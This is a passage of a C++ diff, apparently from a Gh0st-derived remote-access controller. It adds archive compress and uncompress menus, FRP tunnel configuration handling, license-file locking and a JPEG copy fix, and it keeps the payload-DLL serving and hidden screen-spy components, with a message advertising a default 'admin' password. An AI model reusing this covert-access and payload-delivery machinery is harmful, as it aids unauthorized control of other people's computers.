ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);
|
||||||
@@ -10732,15 +10840,17 @@ void CMy2015RemoteDlg::OnWebRemoteControl()
|
|||||||
int port = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
|
int port = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
|
||||||
if (port <= 0) {
|
if (port <= 0) {
|
||||||
MessageBoxL("请在菜单设置Web端口!", "提示", MB_ICONINFORMATION);
|
MessageBoxL("请在菜单设置Web端口!", "提示", MB_ICONINFORMATION);
|
||||||
|
return;
|
||||||
}
|
}
|
||||||
else if (m_superPass.empty()) {
|
else if (m_superPass.empty()) {
|
||||||
MessageBoxL("请设置环境变量 " BRAND_ENV_VAR " 来使用Web远程桌面!", "提示", MB_ICONINFORMATION);
|
MessageBoxL(_L("请设置环境变量 " BRAND_WEB_ENV_VAR " 来使用Web远程桌面!") + _L("\n默认密码是: admin")
|
||||||
|
, "提示", MB_ICONINFORMATION);
|
||||||
}else {
|
}else {
|
||||||
|
MessageBoxL("如需Web远程桌面跨网使用方案,请联系管理员!", "提示", MB_ICONINFORMATION);
|
||||||
|
}
|
||||||
CString content;
|
CString content;
|
||||||
content.Format("http://127.0.0.1:%d", port);
|
content.Format("http://127.0.0.1:%d", port);
|
||||||
ShellExecute(NULL, _T("open"), content, NULL, NULL, SW_SHOWNORMAL);
|
ShellExecute(NULL, _T("open"), content, NULL, NULL, SW_SHOWNORMAL);
|
||||||
MessageBoxL("如需Web远程桌面跨网使用方案,请联系管理员!", "提示", MB_ICONINFORMATION);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// "播放快照"菜单响应:
|
// "播放快照"菜单响应:
|
||||||
@@ -10812,3 +10922,112 @@ void CMy2015RemoteDlg::OnScreenpreviewLoop()
|
|||||||
ShowMessage(_TR("提示"), msg);
|
ShowMessage(_TR("提示"), msg);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ===== ZSTA 压缩 / 解压 =====
|
||||||
|
#include "ZstdArchive.h"
|
||||||
|
#include "ZstaPickerDlg.h"
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
|
||||||
|
// 把一组源路径压缩为单个 .zsta 文件(弹出保存对话框选择输出)
|
||||||
|
// 调用者只负责传路径,输出路径与压缩过程由本函数处理
|
||||||
|
void CompressPathsToZsta(CWnd* parent, const std::vector<std::string>& srcPaths)
|
||||||
|
{
|
||||||
|
if (srcPaths.empty()) return;
|
||||||
|
|
||||||
|
// 默认输出文件名:第一个源的 basename 或 archive
|
||||||
|
std::string defaultName;
|
||||||
|
{
|
||||||
|
std::string first = srcPaths[0];
|
||||||
|
while (!first.empty() && (first.back() == '/' || first.back() == '\\'))
|
||||||
|
first.pop_back();
|
||||||
|
size_t pos = first.find_last_of("/\\");
|
||||||
|
defaultName = (pos == std::string::npos) ? first : first.substr(pos + 1);
|
||||||
|
if (srcPaths.size() > 1) defaultName = "archive";
|
||||||
|
defaultName += ".zsta";
|
||||||
|
}
|
||||||
|
|
||||||
|
CFileDialog saveDlg(FALSE, _T("zsta"), CString(defaultName.c_str()),
|
||||||
|
OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
|
||||||
|
_T("ZSTA Files (*.zsta)|*.zsta|All Files (*.*)|*.*||"),
|
||||||
|
parent);
|
||||||
|
CString saveTitle = _TR("选择压缩输出文件");
|
||||||
|
saveDlg.m_ofn.lpstrTitle = saveTitle;
|
||||||
|
if (saveDlg.DoModal() != IDOK) return;
|
||||||
|
|
||||||
|
std::string outPath = std::string(CT2A(saveDlg.GetPathName().GetString()));
|
||||||
|
auto err = zsta::CZstdArchive::Compress(srcPaths, outPath, 3);
|
||||||
|
if (err == zsta::Error::Success) {
|
||||||
|
Mprintf("ZSTA 压缩成功: %u 项 -> %s\n",
|
||||||
|
(unsigned)srcPaths.size(), outPath.c_str());
|
||||||
|
CString msg;
|
||||||
|
msg.FormatL("压缩成功 (%u 项):\n%s",
|
||||||
|
(unsigned)srcPaths.size(), outPath.c_str());
|
||||||
|
parent->MessageBox(msg, _TR("提示"), MB_OK | MB_ICONINFORMATION);
|
||||||
|
} else {
|
||||||
|
Mprintf("ZSTA 压缩失败 [%s]: -> %s\n",
|
||||||
|
zsta::CZstdArchive::GetErrorString(err), outPath.c_str());
|
||||||
|
CString msg;
|
||||||
|
msg.FormatL("压缩失败: %s", zsta::CZstdArchive::GetErrorString(err));
|
||||||
|
parent->MessageBox(msg, _TR("错误"), MB_OK | MB_ICONERROR);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnMenuCompress()
|
||||||
|
{
|
||||||
|
CZstaPickerDlg picker(this);
|
||||||
|
if (picker.DoModal() != IDOK) return;
|
||||||
|
if (picker.m_Paths.empty()) {
|
||||||
|
MessageBoxL("未选择任何文件或文件夹", "提示", MB_OK | MB_ICONINFORMATION);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
CompressPathsToZsta(this, picker.m_Paths);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnMenuUncompress()
|
||||||
|
{
|
||||||
|
const DWORD MAX_BUF = 64 * 1024;
|
||||||
|
std::vector<TCHAR> buf(MAX_BUF, 0);
|
||||||
|
CFileDialog dlg(TRUE, _T("zsta"), NULL,
|
||||||
|
OFN_ALLOWMULTISELECT | OFN_EXPLORER |
|
||||||
|
OFN_HIDEREADONLY | OFN_FILEMUSTEXIST,
|
||||||
|
_T("ZSTA Files (*.zsta)|*.zsta|All Files (*.*)|*.*||"), this);
|
||||||
|
dlg.m_ofn.lpstrFile = buf.data();
|
||||||
|
dlg.m_ofn.nMaxFile = MAX_BUF;
|
||||||
|
CString title = _TR("请选择要解压的 ZSTA 文件 (可多选)");
|
||||||
|
dlg.m_ofn.lpstrTitle = title;
|
||||||
|
if (dlg.DoModal() != IDOK) return;
|
||||||
|
|
||||||
|
int ok = 0, fail = 0;
|
||||||
|
POSITION pos = dlg.GetStartPosition();
|
||||||
|
while (pos) {
|
||||||
|
CString cpath = dlg.GetNextPathName(pos);
|
||||||
|
std::string src(CT2A(cpath.GetString()));
|
||||||
|
|
||||||
|
// 目标目录:去掉 .zsta 后缀;若无该后缀则追加 _extract
|
||||||
|
std::string dst;
|
||||||
|
if (src.size() >= 5) {
|
||||||
|
std::string ext = src.substr(src.size() - 5);
|
||||||
|
for (char& c : ext) c = (char)tolower((unsigned char)c);
|
||||||
|
if (ext == ".zsta") dst = src.substr(0, src.size() - 5);
|
||||||
|
}
|
||||||
|
if (dst.empty()) dst = src + "_extract";
|
||||||
|
|
||||||
|
auto err = zsta::CZstdArchive::Extract(src, dst);
|
||||||
|
if (err == zsta::Error::Success) {
|
||||||
|
++ok;
|
||||||
|
Mprintf("ZSTA 解压成功: %s -> %s\n", src.c_str(), dst.c_str());
|
||||||
|
} else {
|
||||||
|
++fail;
|
||||||
|
Mprintf("ZSTA 解压失败 [%s]: %s\n",
|
||||||
|
zsta::CZstdArchive::GetErrorString(err), src.c_str());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
CString msg;
|
||||||
|
msg.FormatL("解压完成: 成功 %d, 失败 %d", ok, fail);
|
||||||
|
MessageBox(msg, _TR("提示"),
|
||||||
|
MB_OK | (fail > 0 ? MB_ICONWARNING : MB_ICONINFORMATION));
|
||||||
|
}
|
||||||
|
|||||||
@@ -219,11 +219,15 @@ public:
|
|||||||
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
|
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
|
||||||
uint64_t resumeTransferID, const std::map<uint32_t, uint64_t>& startOffsets, const std::string& targetDir = "");
|
uint64_t resumeTransferID, const std::map<uint32_t, uint64_t>& startOffsets, const std::string& targetDir = "");
|
||||||
void HandleFileResumeRequest(CONTEXT_OBJECT* ctx, const BYTE* data, size_t len);
|
void HandleFileResumeRequest(CONTEXT_OBJECT* ctx, const BYTE* data, size_t len);
|
||||||
BOOL SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);
|
BOOL SendServerDll(CONTEXT_OBJECT* ContextObject, int payloadType, bool is64Bit);
|
||||||
Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
|
Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
|
||||||
Buffer* m_ServerBin[PAYLOAD_MAXTYPE];
|
Buffer* m_ServerBin[PAYLOAD_MAXTYPE];
|
||||||
Buffer* m_TinyRun[PAYLOAD_MAXTYPE] = {};
|
Buffer* m_TinyRun[PAYLOAD_MAXTYPE] = {};
|
||||||
MasterSettings m_settings;
|
MasterSettings m_settings;
|
||||||
|
// 缓存上次检测到的上级 FRP 配置([settings] FrpConfig),由定时器检测外部模块写入的变更。
|
||||||
|
// 检出变更后会热切换 FRPC(首次=启动 / 覆盖=重启 / 撤销=停止),并在主对话框信息列表中给出友好提示。
|
||||||
|
std::string m_lastSeenFrpConfig;
|
||||||
|
void CheckUpperFrpConfigChange();
|
||||||
static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
|
static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
|
||||||
static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
|
static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
|
||||||
int AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired = nullptr);
|
int AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired = nullptr);
|
||||||
@@ -360,7 +364,7 @@ public:
|
|||||||
bool IsDllRequestLimited(const std::string& ip);
|
bool IsDllRequestLimited(const std::string& ip);
|
||||||
void RecordDllRequest(const std::string& ip);
|
void RecordDllRequest(const std::string& ip);
|
||||||
CMenu m_MainMenu;
|
CMenu m_MainMenu;
|
||||||
CBitmap m_bmOnline[55]; // 21 original + 4 context menu + 2 tray menu + 23 main menu + 3 new menu icons + 1 snapshot
|
CBitmap m_bmOnline[57]; // 21 original + 4 context menu + 2 tray menu + 25 main menu + 3 new menu icons + 1 snapshot
|
||||||
uint64_t m_superID;
|
uint64_t m_superID;
|
||||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||||
FileTransformCmd m_CmdList;
|
FileTransformCmd m_CmdList;
|
||||||
@@ -600,4 +604,6 @@ public:
|
|||||||
afx_msg void OnWebRemoteControl();
|
afx_msg void OnWebRemoteControl();
|
||||||
afx_msg void OnProxyPortAutorun();
|
afx_msg void OnProxyPortAutorun();
|
||||||
afx_msg void OnScreenpreviewLoop();
|
afx_msg void OnScreenpreviewLoop();
|
||||||
|
afx_msg void OnMenuCompress();
|
||||||
|
afx_msg void OnMenuUncompress();
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -246,6 +246,7 @@
|
|||||||
<None Include="..\..\x64\Release\ServerDll.dll" />
|
<None Include="..\..\x64\Release\ServerDll.dll" />
|
||||||
<None Include="..\..\x64\Release\TestRun.exe" />
|
<None Include="..\..\x64\Release\TestRun.exe" />
|
||||||
<None Include="..\..\x64\Release\TinyRun.dll" />
|
<None Include="..\..\x64\Release\TinyRun.dll" />
|
||||||
|
<None Include="..\web\index.html" />
|
||||||
<None Include="lang\en_US.ini" />
|
<None Include="lang\en_US.ini" />
|
||||||
<None Include="lang\zh_TW.ini" />
|
<None Include="lang\zh_TW.ini" />
|
||||||
<None Include="res\1.cur" />
|
<None Include="res\1.cur" />
|
||||||
@@ -333,6 +334,7 @@
|
|||||||
<ClInclude Include="HideScreenSpyDlg.h" />
|
<ClInclude Include="HideScreenSpyDlg.h" />
|
||||||
<ClInclude Include="HostInfo.h" />
|
<ClInclude Include="HostInfo.h" />
|
||||||
<ClInclude Include="InputDlg.h" />
|
<ClInclude Include="InputDlg.h" />
|
||||||
|
<ClInclude Include="ZstaPickerDlg.h" />
|
||||||
<ClInclude Include="IOCPKCPServer.h" />
|
<ClInclude Include="IOCPKCPServer.h" />
|
||||||
<ClInclude Include="IOCPServer.h" />
|
<ClInclude Include="IOCPServer.h" />
|
||||||
<ClInclude Include="IOCPUDPServer.h" />
|
<ClInclude Include="IOCPUDPServer.h" />
|
||||||
@@ -458,6 +460,7 @@
|
|||||||
<ClCompile Include="file\CFileTransferModeDlg.cpp" />
|
<ClCompile Include="file\CFileTransferModeDlg.cpp" />
|
||||||
<ClCompile Include="HideScreenSpyDlg.cpp" />
|
<ClCompile Include="HideScreenSpyDlg.cpp" />
|
||||||
<ClCompile Include="InputDlg.cpp" />
|
<ClCompile Include="InputDlg.cpp" />
|
||||||
|
<ClCompile Include="ZstaPickerDlg.cpp" />
|
||||||
<ClCompile Include="IOCPKCPServer.cpp" />
|
<ClCompile Include="IOCPKCPServer.cpp" />
|
||||||
<ClCompile Include="IOCPServer.cpp" />
|
<ClCompile Include="IOCPServer.cpp" />
|
||||||
<ClCompile Include="IOCPUDPServer.cpp" />
|
<ClCompile Include="IOCPUDPServer.cpp" />
|
||||||
@@ -524,7 +527,9 @@
|
|||||||
<Image Include="res\Bitmap\AuthGen.bmp" />
|
<Image Include="res\Bitmap\AuthGen.bmp" />
|
||||||
<Image Include="res\Bitmap\authorize.bmp" />
|
<Image Include="res\Bitmap\authorize.bmp" />
|
||||||
<Image Include="res\Bitmap\Backup.bmp" />
|
<Image Include="res\Bitmap\Backup.bmp" />
|
||||||
|
<Image Include="res\bitmap\bitmap9.bmp" />
|
||||||
<Image Include="res\Bitmap\CancelShare.bmp" />
|
<Image Include="res\Bitmap\CancelShare.bmp" />
|
||||||
|
<Image Include="res\bitmap\compress.bmp" />
|
||||||
<Image Include="res\Bitmap\delete.bmp" />
|
<Image Include="res\Bitmap\delete.bmp" />
|
||||||
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
||||||
<Image Include="res\Bitmap\EditGroup.bmp" />
|
<Image Include="res\Bitmap\EditGroup.bmp" />
|
||||||
@@ -568,6 +573,7 @@
|
|||||||
<Image Include="res\Bitmap\Trial.bmp" />
|
<Image Include="res\Bitmap\Trial.bmp" />
|
||||||
<Image Include="res\Bitmap\Trigger.bmp" />
|
<Image Include="res\Bitmap\Trigger.bmp" />
|
||||||
<Image Include="res\Bitmap\unauthorize.bmp" />
|
<Image Include="res\Bitmap\unauthorize.bmp" />
|
||||||
|
<Image Include="res\bitmap\uncompress.bmp" />
|
||||||
<Image Include="res\Bitmap\update.bmp" />
|
<Image Include="res\Bitmap\update.bmp" />
|
||||||
<Image Include="res\Bitmap\VirtualDesktop.bmp" />
|
<Image Include="res\Bitmap\VirtualDesktop.bmp" />
|
||||||
<Image Include="res\Bitmap\Wallet.bmp" />
|
<Image Include="res\Bitmap\Wallet.bmp" />
|
||||||
|
|||||||
@@ -19,6 +19,7 @@
|
|||||||
<ClCompile Include="FileTransferModeDlg.cpp" />
|
<ClCompile Include="FileTransferModeDlg.cpp" />
|
||||||
<ClCompile Include="HideScreenSpyDlg.cpp" />
|
<ClCompile Include="HideScreenSpyDlg.cpp" />
|
||||||
<ClCompile Include="InputDlg.cpp" />
|
<ClCompile Include="InputDlg.cpp" />
|
||||||
|
<ClCompile Include="ZstaPickerDlg.cpp" />
|
||||||
<ClCompile Include="IOCPServer.cpp" />
|
<ClCompile Include="IOCPServer.cpp" />
|
||||||
<ClCompile Include="KeyBoardDlg.cpp" />
|
<ClCompile Include="KeyBoardDlg.cpp" />
|
||||||
<ClCompile Include="Loader.c" />
|
<ClCompile Include="Loader.c" />
|
||||||
@@ -107,6 +108,7 @@
|
|||||||
<ClInclude Include="FileTransferModeDlg.h" />
|
<ClInclude Include="FileTransferModeDlg.h" />
|
||||||
<ClInclude Include="HideScreenSpyDlg.h" />
|
<ClInclude Include="HideScreenSpyDlg.h" />
|
||||||
<ClInclude Include="InputDlg.h" />
|
<ClInclude Include="InputDlg.h" />
|
||||||
|
<ClInclude Include="ZstaPickerDlg.h" />
|
||||||
<ClInclude Include="IOCPServer.h" />
|
<ClInclude Include="IOCPServer.h" />
|
||||||
<ClInclude Include="KeyBoardDlg.h" />
|
<ClInclude Include="KeyBoardDlg.h" />
|
||||||
<ClInclude Include="proxy\HPSocket.h" />
|
<ClInclude Include="proxy\HPSocket.h" />
|
||||||
@@ -275,6 +277,9 @@
|
|||||||
<Image Include="res\Bitmap\Trigger.bmp" />
|
<Image Include="res\Bitmap\Trigger.bmp" />
|
||||||
<Image Include="res\Bitmap\WebDesktop.bmp" />
|
<Image Include="res\Bitmap\WebDesktop.bmp" />
|
||||||
<Image Include="res\Bitmap\PluginConfig.bmp" />
|
<Image Include="res\Bitmap\PluginConfig.bmp" />
|
||||||
|
<Image Include="res\bitmap\bitmap9.bmp" />
|
||||||
|
<Image Include="res\bitmap\compress.bmp" />
|
||||||
|
<Image Include="res\bitmap\uncompress.bmp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<None Include="..\..\Release\ghost.exe" />
|
<None Include="..\..\Release\ghost.exe" />
|
||||||
@@ -331,6 +336,7 @@
|
|||||||
<None Include="lang\zh_TW.ini" />
|
<None Include="lang\zh_TW.ini" />
|
||||||
<None Include="res\3rd\TerminalModule_x64.dll" />
|
<None Include="res\3rd\TerminalModule_x64.dll" />
|
||||||
<None Include="..\..\macos\ghost" />
|
<None Include="..\..\macos\ghost" />
|
||||||
|
<None Include="..\web\index.html" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Text Include="..\..\ReadMe.md" />
|
<Text Include="..\..\ReadMe.md" />
|
||||||
|
|||||||
@@ -284,13 +284,13 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality,
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 复制数据(注意:DIB 是底部到顶部,需要翻转)
|
// 输入已为 top-down 的紧凑 BGR24(调用方已通过 Process24BitBmp /
|
||||||
|
// ConvertScreenshot32to24 完成翻转与去对齐),此处直接按行拷贝即可
|
||||||
BYTE* srcData = (BYTE*)lpBuffer;
|
BYTE* srcData = (BYTE*)lpBuffer;
|
||||||
BYTE* dstData = (BYTE*)bitmapData.Scan0;
|
BYTE* dstData = (BYTE*)bitmapData.Scan0;
|
||||||
|
|
||||||
for (int y = 0; y < height; y++) {
|
for (int y = 0; y < height; y++) {
|
||||||
// DIB 是从底部开始的,所以需要翻转
|
BYTE* srcRow = srcData + y * rowSize;
|
||||||
BYTE* srcRow = srcData + (height - 1 - y) * rowSize;
|
|
||||||
BYTE* dstRow = dstData + y * bitmapData.Stride;
|
BYTE* dstRow = dstData + y * bitmapData.Stride;
|
||||||
memcpy(dstRow, srcRow, width * 3);
|
memcpy(dstRow, srcRow, width * 3);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#include <Vfw.h>
|
#include <Vfw.h>
|
||||||
#pragma comment(lib,"Vfw32.lib")
|
#pragma comment(lib,"Vfw32.lib")
|
||||||
|
#include "LangManager.h"
|
||||||
|
|
||||||
#define ERR_INVALID_PARAM 1
|
#define ERR_INVALID_PARAM 1
|
||||||
#define ERR_NO_ENCODER 2
|
#define ERR_NO_ENCODER 2
|
||||||
@@ -30,13 +31,13 @@ public:
|
|||||||
{
|
{
|
||||||
switch (result) {
|
switch (result) {
|
||||||
case ERR_INVALID_PARAM:
|
case ERR_INVALID_PARAM:
|
||||||
return ("无效参数");
|
return _L("无效参数").GetString();
|
||||||
case ERR_NOT_SUPPORT:
|
case ERR_NOT_SUPPORT:
|
||||||
return ("不支持的位深度,需要24位或32位");
|
return _L("不支持的位深度,需要24位或32位").GetString();
|
||||||
case ERR_NO_ENCODER:
|
case ERR_NO_ENCODER:
|
||||||
return ("未安装x264编解码器 \n下载地址:https://sourceforge.net/projects/x264vfw");
|
return _L("未安装x264编解码器 \n下载地址:https://sourceforge.net/projects/x264vfw").GetString();
|
||||||
case ERR_INTERNAL:
|
case ERR_INTERNAL:
|
||||||
return("创建AVI文件失败");
|
return _L("创建AVI文件失败").GetString();
|
||||||
default:
|
default:
|
||||||
return "succeed";
|
return "succeed";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -10,6 +10,8 @@
|
|||||||
#include "2015RemoteDlg.h"
|
#include "2015RemoteDlg.h"
|
||||||
#include "InputDlg.h"
|
#include "InputDlg.h"
|
||||||
#include "IPHistoryDlg.h"
|
#include "IPHistoryDlg.h"
|
||||||
|
#include "FrpsForSubDlg.h"
|
||||||
|
#include "pwd_gen.h"
|
||||||
#include <algorithm>
|
#include <algorithm>
|
||||||
|
|
||||||
// CLicenseDlg 对话框
|
// CLicenseDlg 对话框
|
||||||
@@ -42,14 +44,24 @@ BEGIN_MESSAGE_MAP(CLicenseDlg, CDialogEx)
|
|||||||
ON_COMMAND(ID_LICENSE_EDIT_REMARK, &CLicenseDlg::OnLicenseEditRemark)
|
ON_COMMAND(ID_LICENSE_EDIT_REMARK, &CLicenseDlg::OnLicenseEditRemark)
|
||||||
ON_COMMAND(ID_LICENSE_VIEW_IPS, &CLicenseDlg::OnLicenseViewIPs)
|
ON_COMMAND(ID_LICENSE_VIEW_IPS, &CLicenseDlg::OnLicenseViewIPs)
|
||||||
ON_COMMAND(ID_LICENSE_DELETE, &CLicenseDlg::OnLicenseDelete)
|
ON_COMMAND(ID_LICENSE_DELETE, &CLicenseDlg::OnLicenseDelete)
|
||||||
|
ON_COMMAND(ID_LICENSE_AUTO_FRP, &CLicenseDlg::OnLicenseAutoFrp)
|
||||||
|
ON_COMMAND(ID_LICENSE_REVOKE_FRP, &CLicenseDlg::OnLicenseRevokeFrp)
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
// 前向声明:实现位于本文件后段(Auto FRP 相关工具)
|
||||||
|
static int ParseRemotePortFromFrpConfig(const std::string& frpConfig);
|
||||||
|
static bool FreeFrpPortAllocation(int port, const std::string& expectedOwner);
|
||||||
|
|
||||||
// 获取所有授权信息
|
// 获取所有授权信息
|
||||||
std::vector<LicenseInfo> GetAllLicenses()
|
std::vector<LicenseInfo> GetAllLicenses()
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::vector<LicenseInfo> licenses;
|
std::vector<LicenseInfo> licenses;
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
|
|
||||||
|
// 注意:CIniParser 走 ifstream 读取整文件,与 WritePrivateProfileString 的内核锁
|
||||||
|
// 不在同一域。必须靠这里的 g_licensesIniMutex 阻止与其它写入交错,否则可能读到
|
||||||
|
// 写入到一半的中间态。
|
||||||
CIniParser parser;
|
CIniParser parser;
|
||||||
if (!parser.LoadFile(iniPath.c_str()))
|
if (!parser.LoadFile(iniPath.c_str()))
|
||||||
return licenses;
|
return licenses;
|
||||||
@@ -298,6 +310,7 @@ void CLicenseDlg::OnSize(UINT nType, int cx, int cy)
|
|||||||
// 更新授权状态
|
// 更新授权状态
|
||||||
bool SetLicenseStatus(const std::string& deviceID, const std::string& status)
|
bool SetLicenseStatus(const std::string& deviceID, const std::string& status)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
|
|
||||||
@@ -331,6 +344,15 @@ void CLicenseDlg::OnNMRClickLicenseList(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
const auto& lic = m_Licenses[nIndex];
|
const auto& lic = m_Licenses[nIndex];
|
||||||
menu.AppendMenuL(MF_STRING, ID_LICENSE_RENEWAL, _T("预设续期(&N)..."));
|
menu.AppendMenuL(MF_STRING, ID_LICENSE_RENEWAL, _T("预设续期(&N)..."));
|
||||||
menu.AppendMenuL(MF_STRING, ID_LICENSE_EDIT_REMARK, _T("编辑备注(&E)..."));
|
menu.AppendMenuL(MF_STRING, ID_LICENSE_EDIT_REMARK, _T("编辑备注(&E)..."));
|
||||||
|
menu.AppendMenuL(MF_STRING, ID_LICENSE_AUTO_FRP, _T("自动FRP(&F)..."));
|
||||||
|
|
||||||
|
// 仅当该授权已分配 FRPC 端口时,才显示"撤销FRP"
|
||||||
|
{
|
||||||
|
std::string existingFrp = LoadLicenseFrpConfig(lic.SerialNumber);
|
||||||
|
if (ParseRemotePortFromFrpConfig(existingFrp) > 0) {
|
||||||
|
menu.AppendMenuL(MF_STRING, ID_LICENSE_REVOKE_FRP, _T("撤销FRP(&U)"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 只有当有 IP 记录时才显示查看 IP 历史选项
|
// 只有当有 IP 记录时才显示查看 IP 历史选项
|
||||||
int ipCount = GetIPCountFromList(lic.IP);
|
int ipCount = GetIPCountFromList(lic.IP);
|
||||||
@@ -440,6 +462,7 @@ int ParseHostNumFromPasscode(const std::string& passcode)
|
|||||||
// 设置待续期信息
|
// 设置待续期信息
|
||||||
bool SetPendingRenewal(const std::string& deviceID, const std::string& expireDate, int hostNum, int quota)
|
bool SetPendingRenewal(const std::string& deviceID, const std::string& expireDate, int hostNum, int quota)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
|
|
||||||
@@ -458,6 +481,7 @@ bool SetPendingRenewal(const std::string& deviceID, const std::string& expireDat
|
|||||||
// 获取待续期信息
|
// 获取待续期信息
|
||||||
RenewalInfo GetPendingRenewal(const std::string& deviceID)
|
RenewalInfo GetPendingRenewal(const std::string& deviceID)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
RenewalInfo info;
|
RenewalInfo info;
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
@@ -471,6 +495,7 @@ RenewalInfo GetPendingRenewal(const std::string& deviceID)
|
|||||||
// 清除待续期信息
|
// 清除待续期信息
|
||||||
bool ClearPendingRenewal(const std::string& deviceID)
|
bool ClearPendingRenewal(const std::string& deviceID)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
|
|
||||||
@@ -481,8 +506,11 @@ bool ClearPendingRenewal(const std::string& deviceID)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 配额递减,返回是否还有剩余配额
|
// 配额递减,返回是否还有剩余配额
|
||||||
|
// 关键:read-modify-write 的 PendingQuota 必须在锁内完成,否则与 SetPendingRenewal
|
||||||
|
// 并发会丢失用户刚设置的预设续期(旧 bug:用户报告"预设续期消失"的根因)。
|
||||||
bool DecrementPendingQuota(const std::string& deviceID)
|
bool DecrementPendingQuota(const std::string& deviceID)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
|
|
||||||
@@ -495,7 +523,7 @@ bool DecrementPendingQuota(const std::string& deviceID)
|
|||||||
cfg.SetInt(deviceID, "PendingQuota", quota);
|
cfg.SetInt(deviceID, "PendingQuota", quota);
|
||||||
|
|
||||||
if (quota <= 0) {
|
if (quota <= 0) {
|
||||||
// 配额用完,清除待续期信息
|
// 配额用完,清除待续期信息(嵌套加锁,recursive_mutex 安全)
|
||||||
ClearPendingRenewal(deviceID);
|
ClearPendingRenewal(deviceID);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
@@ -599,6 +627,7 @@ void CLicenseDlg::OnLicenseRenewal()
|
|||||||
// 设置授权备注
|
// 设置授权备注
|
||||||
bool SetLicenseRemark(const std::string& deviceID, const std::string& remark)
|
bool SetLicenseRemark(const std::string& deviceID, const std::string& remark)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
|
|
||||||
@@ -642,6 +671,7 @@ void CLicenseDlg::OnLicenseEditRemark()
|
|||||||
// 删除授权
|
// 删除授权
|
||||||
bool DeleteLicense(const std::string& deviceID)
|
bool DeleteLicense(const std::string& deviceID)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
|
|
||||||
@@ -651,9 +681,21 @@ bool DeleteLicense(const std::string& deviceID)
|
|||||||
return false; // 授权不存在
|
return false; // 授权不存在
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 若该授权占用了 FRP 端口,先释放 frp_ports.ini 中的占用记录,
|
||||||
|
